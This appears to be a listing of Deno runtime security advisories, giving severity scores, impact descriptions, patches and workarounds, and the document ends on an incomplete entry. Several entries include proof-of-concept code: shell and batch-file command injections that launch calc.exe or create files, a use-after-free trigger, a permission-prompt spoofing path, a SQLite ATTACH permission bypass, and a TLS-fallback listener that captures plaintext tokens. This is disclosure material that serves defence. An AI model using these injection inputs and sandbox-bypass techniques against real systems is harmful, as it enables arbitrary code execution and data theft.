-Infinity
0
Severity
10
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Impact

Resizable ArrayBuffers passed to asynchronous native functions that are shrunk during the asynchronous operation could result in an out-of-bound read/write.

It is unlikely that this has been exploited in the wild, as the only version affected is Deno 1.32.0.

Deno Deploy users are not affected.

Patches

The problem has been resolved by disabling resizable ArrayBuffers temporarily in Deno 1.32.1. A future version of Deno will re-enable resizable ArrayBuffers with a proper fix.

Workarounds

Upgrade to Deno 1.32.1, or run with --v8-flags=--no-harmony-rab-gsab to disable resizable ArrayBuffers.

1 / 2
First published (updated )
Severity
10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Deno is a runtime for JavaScript and TypeScript. The versions of Deno between release 1.18.0 and 1.20.2 (inclusive) are vulnerable to an attack where a malicious actor controlling the code executed in a Deno runtime could bypass all permission checks and execute arbitrary shell code. This vulnerability does not affect users of Deno Deploy. The vulnerability has been patched in Deno 1.20.3. There is no workaround. All users are recommended to upgrade to 1.20.3 immediately.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Impact

Outbound HTTP requests made using the built-in "node:http" or "node:https" modules are incorrectly not checked against the network permission allow list (--allow-net). Dependencies relying on these built-in modules are subject to the vulnerability too.

Users of Deno versions prior to 1.34.0 are unaffected. Deno Deploy users are unaffected.

Patches

This problem has been patched in Deno v1.34.1 and all users are recommended to update to this version.

Workarounds

No workaround is available for this issue.

1 / 2
First published (updated )
Severity
9.8
EPSS
0.06%
Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary A prior patch aimed to block spawning Windows batch/shell files by returning an error when a spawned path’s extension matched .bat or .cmd. That check performs a case-sensitive comparison against lowercase literals and therefore can be bypassed when the extension uses alternate casing (for example .BAT, .Bat, etc.).

POC javascript const command = new Deno.Command('./test.BAT', { args: ['&calc.exe'], }); const child = command.spawn(); This causes calc.exe to be launched; see the attached screenshot for evidence.

Patched in CVE-2025-61787 — prevents execution of .bat and .cmd files: !photo2025-10-10 02 27 23

Bypass of the patched vulnerability: !photo2025-10-10 02 27 25

Impact The script launches calc.exe on Windows, demonstrating that passing user-controlled arguments to a spawned batch script can result in command-line injection.

Mitigation

Users should update to Deno v2.5.6 or newer.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.78%
OS Command Injection, Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary A command injection vulnerability exists in Deno's node:childprocess implementation.

Reproduction javascript import { spawnSync } from "node:childprocess"; import as fs from "node:fs";

// Cleanup try { fs.unlinkSync('/tmp/rceproof'); } catch {}

// Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection const maliciousInput = /tmp/legitimate.ts\ntouch /tmp/rceproof;

// Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' });

// Verify console.log('Exploit worked:', fs.existsSync('/tmp/rceproof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rceproof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.38%
OS Command Injection, Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

A command injection vulnerability exists in Deno's node:childprocess polyfill (shell: true mode) that bypasses the fix for CVE-2026-27190 (GHSA-hmh4-3xvx-q5hr). An attacker who controls arguments passed to spawnSync or spawn with shell: true can execute arbitrary OS commands, bypassing Deno's permission system.

Affected versions: Deno v2.7.0, v2.7.1

## Details

The two-stage argument sanitization in transformDenoShellCommand (ext/node/polyfills/internal/childprocess.ts) has a priority bug: when an argument contains a $VAR pattern, it is wrapped in double quotes (L1290) instead of single quotes (L1293). Double quotes in POSIX sh do not suppress backtick command substitution, allowing injected commands to execute.

Attack chain: 1. escapeShellArg wraps the argument in single quotes (safe) 2. opnodeparseshellargs strips the single-quote delimiters during tokenization (raw argument exposed) 3. Re-quoting detects $VAR pattern → applies double quotes 4. Backtick payload inside double quotes executes via /bin/sh

## Impact

OS Command Injection (CWE-78). Any application using node:childprocess spawn/spawnSync with shell: true and user-controlled arguments is vulnerable. Injected commands execute at the OS process level, outside Deno's permission sandbox. Only --allow-run is required.

## Mitigation

Avoid passing user-controlled input as arguments to spawn/spawnSync with shell: true. Use shell: false (the default) instead, or validate/sanitize inputs before passing them.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Deno is a runtime for JavaScript and TypeScript that uses V8 and is built in Rust. In Deno versions 1.5.0 to 1.10.1, modules that are dynamically imported through import() or new Worker might have been able to bypass network and file system permission checks when statically importing other modules. The vulnerability has been patched in Deno release 1.10.2.

First published (updated )
Severity
9.8
Code Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Deno Standard Modules before 0.107.0 allows Code Injection via an untrusted YAML file in certain configurations.

First published (updated )
Severity
9.2
EPSS
0.01%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The vulnerability allows an attacker to have infinite encryptions.

This can lead to naive attempts at brute forcing, as well as more refined attacks with the goal to learn the server secrets.

PoC js import crypto from "node:crypto";

const key = crypto.randomBytes(32); const iv = crypto.randomBytes(16); const cipher = crypto.createCipheriv("aes-256-cbc", key, iv); cipher.final()

console.log(cipher);

Expected Output js Cipheriv { decoder: null, options: undefined, Symbol(kHandle): CipherBase {} }

Actual Output js Cipheriv { events: { close: undefined, error: undefined, prefinish: [Function: prefinish], finish: undefined, drain: undefined, data: undefined, end: undefined, readable: undefined }, readableState: ReadableState { highWaterMark: 65536, buffer: [], bufferIndex: 0, length: 0, pipes: [], awaitDrainWriters: null, [Symbol(kState)]: 1048844 }, writableState: WritableState { highWaterMark: 65536, length: 0, corked: 0, onwrite: [Function: bound onwrite], writelen: 0, bufferedIndex: 0, pendingcb: 0, [Symbol(kState)]: 17580812, [Symbol(kBufferedValue)]: null }, allowHalfOpen: true, final: [Function: final], maxListeners: undefined, transform: [Function: transform], eventsCount: 1, [Symbol(kCapture)]: false, [Symbol(kCallback)]: null }

Mitigations

All users should upgrade to Deno v2.6.0 or newer.

1 / 2
Source: GitHub
First published (updated )
Severity
9.2
OS Command Injection, Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Deno versions 2.7.0 through 2.9.7 on Windows contain a command injection vulnerability in node:childprocess where shell arguments are escaped for the wrong shell type. Attackers can inject OS commands by passing untrusted arguments with the shell option, allowing arbitrary command execution with Deno process privileges.

First published (updated )
Severity
9.1
EPSS
0.05%
SQL Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

js // poc.js import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");

$ deno poc.js

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.

As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.

A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.

Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.

Proof of concept

attacker.mjs (captures whatever the client sends)

ts import net from "node:net";

const server = net.createServer((socket) => { console.log("[attacker] client connected from", socket.remoteAddress); socket.on("data", (chunk) => { // If TLS were working, this would be an opaque ClientHello. // If the bug fires, we see the application payload in cleartext. console.log("[attacker] received", chunk.length, "bytes:"); console.log(chunk.toString("utf8")); }); });

server.listen(4444, "127.0.0.1", () => { console.log("[attacker] listening on 127.0.0.1:4444"); });

victim.mjs (a normal-looking TLS client)

ts import tls from "node:tls";

const socket = tls.connect({ host: "api.example.invalid", port: 4444, autoSelectFamily: true, // Node-compat default

// First address is a black hole (nothing on [::1]:4444), // so autoSelectFamily falls back to the second address. // In a real attack, the on-path attacker arranges this via // routing, DNS, or by dropping the first SYN. lookup: (host, opts, cb) => { cb(null, [ { address: "::1", family: 6 }, // fails -> retry { address: "127.0.0.1", family: 4 }, // attacker ]); },

rejectUnauthorized: false, });

// Application writes BEFORE secureConnect — common pattern in // Node clients that pipe a request body or send a greeting. socket.write("POST /v1/charge HTTP/1.1\r\n"); socket.write("Authorization: Bearer skliveSECRETTOKEN\r\n"); socket.write("Content-Type: application/json\r\n\r\n"); socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect")); socket.on("error", (e) => console.log("[victim] error:", e.message));

In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs

Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.

On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:

[attacker] received 41 bytes: POST /v1/charge HTTP/1.1 Authorization: Bearer skliveSECRETTOKEN ...

The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.

1 / 2
Source: GitHub
First published (updated )
Severity
9
EPSS
0.04%
AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Deno is a JavaScript, TypeScript, and WebAssembly runtime with secure defaults. The Deno sandbox may be unexpectedly weakened by allowing file read/write access to privileged files in various locations on Unix and Windows platforms. For example, reading /proc/self/environ may provide access equivalent to --allow-env, and writing /proc/self/mem may provide access equivalent to --allow-all. Users who grant read and write access to the entire filesystem may not realize that these access to these files may have additional, unintended consequences. The documentation did not reflect that this practice should be undertaken to increase the strength of the security sandbox. Users who run code with --allow-read or --allow-write may unexpectedly end up granting additional permissions via file-system operations. Deno 1.43 and above require explicit --allow-all access to read or write /etc, /dev on unix platform (as well as /proc and /sys on linux platforms), and any path starting with \\ on Windows.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
EPSS
0.04%
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.

Details In the patch for CVE-2023-28446, Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.

For example, requesting the read permission with /tmp/hello\u001b[/../../etc/hosts as a path will display the /tmp/hellotc/hosts in the permission prompt, but the actual permission given to the program is /tmp/hello\u001b[/../../etc/hosts, which is /etc/hosts after the normalization.

This difference allows a malicious Deno program to spoof the contents of the permission prompt.

PoC Run the following JavaScript and observe that /tmp/hellotc/hosts is displayed in the permission prompt instead of /etc/hosts, although Deno gives access to /etc/hosts. javascript const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" }; await Deno.permissions.request(permission); console.log(await Deno.readTextFile("/etc/hosts"));

Expected prompt ┌ ⚠️ Deno requests read access to "/etc/hosts". ├ Requested by Deno.permissions.query() API ├ Run again with --allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >

Actual prompt ┌ ⚠️ Deno requests read access to "/tmp/hellotc/hosts". ├ Requested by Deno.permissions.query() API ├ Run again with --allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >

Impact Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
Use After Free
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Use of inherently unsafe const cvoid and ExternalPointer leads to use-after-free access of the underlying structure, resulting in arbitrary code execution.

Details

const cvoid and ExternalPointer (defined via external!() macros) types are used to represent v8::External wrapping arbitrary void with an external lifetime. This is inherently unsafe as we are effectively eliding all Rust lifetime safety guarantees.

const cvoid is trivially unsafe. ExternalPointer attempts to resolve this issue by wrapping the underlying pointer with a usized marker (ExternalWithMarker<T>).

However, the marker relies on the randomness of PIE address (binary base address) which is still trivially exploitable for a non-PIE binary. It is also equally exploitable on a PIE binary when an attacker is able to derandomize the PIE address. This is problematic as it escalates an information leak of the PIE address into an exploitable vulnerability.

Note that an attacker able to control code executed inside the Deno runtime is very likely to be able to bypass ASLR with any means necessary (e.g. by chaining another vulnerability, or by using other granted permissions such as --allow-read to read /proc/self/maps).

PoC

For simplicity, we use Deno version 1.38.0 where streaming operations uses const cvoid. Testing environment is Docker image denoland/deno:alpine-1.38.0@sha256:fe51a00f4fbbaf1e72b29667c3eeeda429160cef2342f22a92c3820020d41f38 although the exact versions shouldn't matter much if it's in 1.36.2 up to 1.38.0 (before ExternalPointer patch, refer Impact section for details)

js const ops = Deno[Deno.internal].core.ops; const rid = ops.opreadablestreamresourceallocate(); const sink = ops.opreadablestreamresourcegetsink(rid);

// close ops.opreadablestreamresourceclose(sink); ops.opreadablestreamresourceclose(sink);

// reclaim BoundedBufferChannelInner const ab = new ArrayBuffer(0x8058); const dv = new DataView(ab);

// forge chunk contents dv.setBigUint64(0, 2n, true); dv.setBigUint64(0x8030, 0x1337c0d30000n, true);

// trigger segfault Deno.close(rid);

Below is the dmesg log after the crash. We see that Deno has segfaulted on 1337c0d30008, which is +8 of what we have written at offset 0x8030. Note also that the dereferenced value will immediately be used as a function pointer, with the first argument dereferenced from offset 0x8038 - it is trivial to use this to build an end-to-end exploit.

text [ 6439.821046] deno[15088]: segfault at 1337c0d30008 ip 0000557b53e2fb3e sp 00007fffd485ac70 error 4 in deno[557b51714000+2d7f000] likely on CPU 12 (core 12, socket 0) [ 6439.821054] Code: 00 00 00 00 48 85 c0 74 03 ff 50 08 49 8b 86 30 80 00 00 49 8b be 38 80 00 00 49 c7 86 30 80 00 00 00 00 00 00 48 85 c0 74 03 <ff> 50 08 48 ff 03 48 83 c4 08 5b 41 5e c3 48 8d 3d 0d 1a 59 fb 48

The same vulnerability exists for ExternalPointer implementation, but now it is required for the attacker to either leak the PIE address somehow, or else exploit unexpected aliasing behavior of v8::External values. The latter has not been investigated in depth, but it is theoretically possible to alias the same underlying pointer to different v8::External on different threads (Workers) and exploit the concurrency (RefCell may break this though).

Impact

Use of inherently unsafe const cvoid and ExternalPointer leads to use-after-free access of the underlying structure, which is exploitable by an attacker controlling the code executed inside a Deno runtime to obtain arbitrary code execution on the host machine regardless of permissions.

This bug is known to be exploitable for both const cvoid and ExternalPointer implementations.

Affected versions of Deno is from 1.36.2 up to latest.

- ext/web/streamresource.rs: - const cvoid introduced in 1.36.2 - Patched into ExternalPointer in 1.38.1 - ext/http/httpnext.rs: - ExternalPointer introduced in 1.38.2

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

Use of raw file descriptors in opnodeipcpipe() leads to premature close of arbitrary file descriptors, allowing standard input to be re-opened as a different resource resulting in permission prompt bypass.

Details

Node childprocess IPC relies on the JS side to pass the raw IPC file descriptor to opnodeipcpipe(), which returns a IpcJsonStreamResource ID associated with the file descriptor. On closing the resource, the raw file descriptor is closed together.

Although closing a file descriptor is seemingly a harmless task, this has been known to be exploitable: - With --allow-read and --allow-write permissions, one can open /dev/ptmx as stdin. This device happily accepts TTY ioctls and pipes anything written into it back to the reader. - This has been presented in a hacking competition (WACON 2023 Quals "dino jail"). - However, the precondition of this challenge was heavily contrived: fd 0 has manually been closed by FFI and setuid() was used to drop permissions and deny access to /proc since global write permissions are usually equivalent to arbitrary code execution (/proc/self/mem).

As this vulnerability conveniently allows us to close stdin (fd 0) without any FFI, we can open any resource that when read returns y, Y or A as its first character (runtimes/permissions/prompter.rs) to bypass the prompt.

There is a caveat however - all stdio/stdin/stderr streams are locked, after which clearstdin() is called. This invokes libc::tcflush(0, libc::TCIFLUSH) which fails on a non-TTY file descriptor.

This can be exploited by widening the race window between clearstdin() and the next stdinlock.readline(). Notably, the prompt message contains the requested resource name (path) which is filtered by stripansicodesandasciicontrol(). This is also concatenated by write!() to make a single buffer printed out to stderr. Thus, if we request a very long resource name, the window will widen allowing us to easily and stably race another Worker that closes fd 0 and opens a resource starting with an A\n within the race window.

Note that attacker does not need any permissions to exploit this bug to a full permission prompt bypass, as Cache API can be used to create and open files with controlled content without any permissions. Refer to the Impact section for more details.

PoC

Testing environment is Docker image denoland/deno:alpine-1.39.0@sha256:95064390f2c115673762bfc4fe15b1a7f81c859038b8c02b277ede7cd8a2ccbf.

Below PoC closes stdout (fd 1) and then prints two lines, one on stdout and one on stderr. Only the latter line is shown as stdout file descriptor is closed.

js const ops = Deno[Deno.internal].core.ops;

// open fd 1 as ipc stream resource const rid = ops.opnodeipcpipe(1);

// close resource & fd 1 Deno.close(rid);

// this should not be seen (stdout) console.log('not seen');

// but this is seen (stderr) console.error('seen');

Below is /proc/$(pgrep deno)/fd right after executing the last line of the above PoC. We see that fd 1 is indeed missing.

text total 0 dr-x------ 2 root root 30 Dec 18 07:07 ./ dr-xr-xr-x 9 root root 0 Dec 18 07:07 ../ lrwx------ 1 root root 64 Dec 18 07:07 0 -> /dev/pts/0 l-wx------ 1 root root 64 Dec 18 07:07 10 -> 'pipe:[159305]' lr-x------ 1 root root 64 Dec 18 07:07 11 -> 'pipe:[159306]' l-wx------ 1 root root 64 Dec 18 07:07 12 -> 'pipe:[159306]' lrwx------ 1 root root 64 Dec 18 07:07 13 -> /deno-dir/depanalysiscachev1 l-wx------ 1 root root 64 Dec 18 07:07 14 -> 'pipe:[159305]' l-wx------ 1 root root 64 Dec 18 07:07 15 -> 'pipe:[159306]' lrwx------ 1 root root 64 Dec 18 07:07 16 -> /deno-dir/nodeanalysiscachev1 lrwx------ 1 root root 64 Dec 18 07:07 17 -> /dev/pts/0 lrwx------ 1 root root 64 Dec 18 07:07 18 -> /dev/pts/0 lrwx------ 1 root root 64 Dec 18 07:07 19 -> /dev/pts/0 lrwx------ 1 root root 64 Dec 18 07:07 2 -> /dev/pts/0 lrwx------ 1 root root 64 Dec 18 07:07 20 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 21 -> 'anoninode:[eventfd]' lrwx------ 1 root root 64 Dec 18 07:07 22 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 23 -> 'socket:[159302]' lrwx------ 1 root root 64 Dec 18 07:07 24 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 25 -> 'anoninode:[eventfd]' lrwx------ 1 root root 64 Dec 18 07:07 26 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 27 -> 'socket:[159302]' lrwx------ 1 root root 64 Dec 18 07:07 28 -> 'socket:[159310]' lrwx------ 1 root root 64 Dec 18 07:07 29 -> 'socket:[159308]' lrwx------ 1 root root 64 Dec 18 07:07 3 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 30 -> 'socket:[159309]' lrwx------ 1 root root 64 Dec 18 07:07 4 -> 'anoninode:[eventfd]' lrwx------ 1 root root 64 Dec 18 07:07 5 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 6 -> 'socket:[159302]' lrwx------ 1 root root 64 Dec 18 07:07 7 -> 'socket:[159303]' lrwx------ 1 root root 64 Dec 18 07:07 8 -> 'socket:[159302]' lr-x------ 1 root root 64 Dec 18 07:07 9 -> 'pipe:[159305]'

Impact

Use of raw file descriptors in opnodeipcpipe() leads to premature close of arbitrary file descriptors. This allow standard input (fd 0) to be closed and re-opened for a different resource, which allows a silent permission prompt bypass. This is exploitable by an attacker controlling the code executed inside a Deno runtime to obtain arbitrary code execution on the host machine regardless of permissions.

This bug is known to be exploitable - there is a working exploit that achieves arbitrary code execution by bypassing prompts from zero permissions, additionally abusing the fact that Cache API lacks filesystem permission checks. The attack can be conducted silently as stderr can also be closed, suppressing all prompt outputs.

Note that Deno's security model is currently described as follows: - All runtime I/O is considered to be privileged and must always be guarded by a runtime permission. This includes filesystem access, network access, etc. - The only exception to this is runtime storage explosion attacks that are isolated to a part of the file system, caused by evaluated code (for example, caching big dependencies or no limits on runtime caches such as the Web Cache API). Although it is ambiguous if the fundamental lack of file system permission checks on Web Cache API is a vulnerability or not, the reporter have not reported this as a vulnerability assuming that this is a known risk (or a feature).

Affected version of Deno is 1.39.0.

- Introduced with commit 5a91a06 - Fixed with commit 55fac9f

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a opspawnchild or opkill prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.

First published (updated )
Severity
8.4
AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Summary

Deno's permission system enforces filesystem and execution restrictions by comparing the requested path against the path supplied to --deny-read, --deny-write, --deny-run, or --deny-ffi. On macOS, that comparison was done at the raw-byte level while the APFS filesystem treats different Unicode spellings of the same name as the same file.

That means a program could reach a denied path by spelling it differently than the deny rule. For example, with --deny-read=/secrets/passwörter.txt, a script could still read the file by opening /secrets/passwo\u0308rter.txt (NFD instead of NFC), or /SECRETS/PASSWÖRTER.txt (different case, since default APFS volumes are case-insensitive). Other forms include ligature characters (fi vs fi, ff vs ff, …) and German ß vs ss.

The denied path and the requested path differed at the byte level, so Deno's permission check passed; the kernel then resolved them to the same inode and served the file anyway. The same flaw affected --deny-write, --deny-run, and --deny-ffi, which share the same path-comparison code.

Am I affected?

You are potentially affected if all of the following are true:

1. You run Deno on macOS (the issue is specific to APFS path-equivalence rules; Linux and Windows are not affected by this variant). 2. You rely on --deny-read, --deny-write, --deny-run, or --deny-ffi as a security boundary against less-trusted code — a dependency, plugin, or attacker-controlled input. 3. The protected path contains characters that have alternate Unicode spellings — most commonly accented characters (é, ñ, ö, …), German ß, or Latin ligatures — or you rely on case-sensitivity on a default APFS volume.

If you only run fully trusted code, or your deny rules cover paths that are pure ASCII with no case-sensitive aliases, you are not exposed to this specific bypass.

Impact

A program running with broad --allow-read (or --allow-write / --allow-run / --allow-ffi) but with --deny- carve-outs for specific paths could read, write, execute, or load via FFI those denied paths by referring to them through a Unicode- or case-equivalent spelling. The sandbox model on macOS was weaker than the flags suggested.

Workaround

If you cannot upgrade immediately:

- Prefer --allow- allowlists over --deny- denylists. Allow rules match against the original specifier, so an attacker-supplied alternate spelling will not match a path you didn't explicitly grant. - Do not rely on case-sensitivity of paths on macOS for security boundaries; default APFS volumes are case-insensitive.

Fix

On macOS, Deno now normalizes both the deny-rule path and the requested path to NFC and applies Unicode case folding before comparing them. This matches how APFS resolves paths at the inode level, so byte-different but equivalent spellings are now rejected by the same deny rule.

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Deno <=1.14.0 file sandbox does not handle symbolic links correctly. When running Deno with specific write access, the Deno.symlink method can be used to gain access to any directory.

First published (updated )
Severity
8.3
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L

Summary

A vulnerability in Deno's Node.js compatibility runtime allows for cross-session data contamination during simultaneous asynchronous reads from Node.js streams sourced from sockets or files. The issue arises from the re-use of a global buffer (BUF) in streamwrap.ts used as a performance optimization to limit allocations during these asynchronous read operations. This can lead to data intended for one session being received by another session, potentially resulting in data corruption and unexpected behavior.

Details

A bug in Deno's Node.js compatibility runtime results in data cross-reception during simultaneous asynchronous reads from Node.js network streams. When multiple independent network socket connections are involved, this vulnerability can be triggered. For instance, two separate server sockets that receive data from their respective client sockets and then echo the received data back to the client using Node.js streams may experience an issue where data from one socket may appear on another socket. Due to the improper isolation of the global buffer (BUF), data sent by one socket can end up being incorrectly received by another socket. Consequently, data intended for one session may be exposed to another session, potentially leading to data corruption and unexpected behavior.

This buffer was introduced as a performance optimization to avoid excessive allocations during network read operations.

In cases where the net.Stream is connected to a remote server such as a database or key/value store such as Redis, this may result in a packet received on one connection being presented to another, causing data cross-contamination between multiple users and potentially leaking sensitive information.

It is important to note that this vulnerability does not affect Deno network streams created with the Deno.listen and Deno.connect APIs.

The impact of this issue may extend beyond node.js network streams, however, and may also affect asynchronous reads from non-network node.js Stream such as those created from files.

PoC

https://github.com/denoland/deno/issues/20188

Impact

This affects all users of Deno that use the node.js compatibility layer for network communication or other streams, including packages that may require node.js libraries indirectly.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary Deno versions up to 2.5.1 are vulnerable to Command Line Injection attacks on Windows when batch files are executed.

Details In Windows, CreateProcess() always implicitly spawns cmd.exe if a batch file (.bat, .cmd, etc.) is being executed even if the application does not specify it via the command line. This makes Deno vulnerable to a command injection attack on Windows as demonstrated by the two proves-of-concept below.

PoC Using node:childprocess (with the env and run permissions): JS const { spawn } = require('node:childprocess'); const child = spawn('./test.bat', ['&calc.exe']); Using Deno.Command.spawn() (with the run permission): JS const command = new Deno.Command('./test.bat', { args: ['&calc.exe'], }); const child = command.spawn();

Impact Both of these scripts result in opening calc.exe on Windows, thus allowing a Command Line Injection attack when user-provided arguments are passed if the script being executed by the child process is a batch script.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
OS Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Deno's node:childprocess implementation provided an escapeShellArg() helper used when callers passed shell: true to spawn / spawnSync / exec and friends. On Windows, the helper failed to quote arguments that contained cmd.exe metacharacters such as &, |, <, >, ^, !, (, ), and did not neutralize % (which cmd.exe expands even inside double-quoted strings). An attacker who controlled any portion of an argument passed to such a call could inject arbitrary additional commands into the spawned cmd.exe invocation.

This was the Windows counterpart to CVE-2026-27190, which fixed the same class of bug in the Unix branch of escapeShellArg.

Details

On Windows, childprocess with shell: true ran the command via cmd.exe /d /s /c "<command line>". Deno assembled that command line by joining the program name and each argument through escapeShellArg().

The vulnerable check was:

ts // If no special characters, return as-is if (!/[\s"\\]/.test(arg)) { return arg; }

The regex covered only whitespace, double-quote, and backslash. Any argument containing cmd.exe-significant characters but none of those three was returned unquoted and therefore interpreted by the shell. The most straightforward exploit chained commands with &:

js import { spawnSync } from "node:childprocess";

spawnSync("echo", ["test&calc.exe"], { shell: true, encoding: "utf-8" });

The reporter confirmed this launched calc.exe on Windows 11 with Deno 2.7.5. The same shape worked for |, <, >, ^, !, (, and ).

A secondary defect existed even when arguments were quoted: cmd.exe expands %FOO% environment-variable references inside double-quoted strings. Without either doubling % or rejecting it, an argument like "%USERPROFILE%" leaked environment data into the command line.

Proof of concept

From the report, run on Windows with Deno < 2.7.10:

js import { spawnSync } from "node:childprocess";

const maliciousInput = "test&calc.exe"; const result = spawnSync("echo", [maliciousInput], { shell: true, encoding: "utf-8", }); console.log(result);

Observed: calc.exe launched as a side effect of the echo call.

Impact

Any Deno program on Windows that called childprocess.spawn / spawnSync / exec (or any shell helper that funneled through escapeShellArg) with shell: true and incorporated untrusted input into an argument was exposed to arbitrary command execution in the context of the Deno process. The CVSS vector treated this as network-reachable / high-complexity because the typical exposure path was a Deno service accepting external input and forwarding it to a shelled-out subprocess.

Not affected:

- Calls without shell: true (the default), which executed the program directly via CreateProcess without cmd.exe interpretation. - Unix platforms, which used the single-quote branch of escapeShellArg and were already fixed under CVE-2026-27190. - Callers that built command strings themselves and passed them as a single string with shell: true — those were the caller's responsibility and were never sanitized by Deno.

Workarounds

Users on unpatched versions could mitigate by:

- Avoiding shell: true in node:childprocess calls on Windows. - Building the argv directly and invoking the program without a shell. - Filtering or rejecting any externally-supplied argument values that contained cmd.exe metacharacters (& | < > ^ ! ( ) %) before passing them to spawn / spawnSync / exec.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
EPSS
0.04%
OS Command Injection, Race Condition
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

